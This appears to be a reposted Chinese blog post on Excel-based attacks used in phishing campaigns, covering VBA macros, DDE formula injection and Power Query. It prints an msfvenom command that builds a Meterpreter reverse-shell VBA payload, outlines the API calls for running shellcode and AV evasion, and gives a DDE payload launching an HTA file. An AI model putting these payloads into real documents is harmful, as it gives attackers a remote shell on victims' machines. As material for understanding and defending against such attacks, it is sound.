关于Excel的攻击探讨

近些年来APT趋势增长,有更多的恶意样本流传于世,这篇文章便初步探讨下Excel的一些攻击。站在攻击者的视角查看一些利用手法,知己知彼方能百战不殆。

随着趋势的发展,office文件一套成为了办公的需要,但同时软件的安全,也成为了企业部门保护信息重症之地。许多组织机构对企业发起APT攻击,其中最为常见的手法有鱼叉钓鱼、水坑攻击等。

在市面上流传的Excel样本,大都数都是如下攻击手法:

  • office宏攻击

  • DDE攻击

  • Power Query DDE (DDE的一种)

office宏攻击(Macros)

所谓宏,就是一些命令组织在一起,作为一个单独命令完成一个特定任务。Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”。Word使用宏语言Visual Basic将宏作为一系列指令来编写。

可以通过Kali的msfvenom生成vba恶意代码:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f vba -o shellcode.vba

 创建一个xls文件,并开启开发者模式

 找到宏

 创建一个宏

 shellcode利用相关API函数进行线程创建、内存申请、内存拷贝以及最后执行shellcode

  • CreateThread 创建线程
  • VirtualAlloc 申请虚拟内存空间
  • RtlMoveMemory 拷贝内存

大都数组织都在此处将shellcode通过运行自解密、花指令等混淆的方式来规避AV(反杀毒软件)

DDE攻击

动态数据交换(DDE),是在Windows操作系统中实现的客户端/服务端通信的方法。

当我们打开文件时,Excel会对文件的每一行分别进行检查。在对各行的内容进行分隔并复制到适当的单元格之前,Excel会检查该行是否以其命令字符开头,即用于内部函数的字符:“=”、“+”、“ - ”和“@”。根据命令前缀的不同,可能会发生以下两种情况之一:

1.如果前缀是“=”、“+”或“ - ”,则将其余部分视为表达式

2.如果前缀为“@”,Excel将搜索内部函数(例如SUM())并将参数解释为表达式

实际上,命令本身也是一种表达式。

 执行外部命令

 最终弹出calc

 同时可以利用字符串拼接的特性构造payload

=MSEXCEL|'\..\..\..\Windows\System32\rundll32.exe url.dll,FileProtocolHandler  c:\temp\payload.hta'!_xlbgnm.A1

Power Query

惭愧,Power Query的方式一直没有复现成功,不知为何一直访问失败。这里附上网上的Power Query技术分析:https://xz.aliyun.com/t/5514

感兴趣的朋友可以去看看

猜你喜欢

转载自www.cnblogs.com/wh4am1/p/12384606.html
今日推荐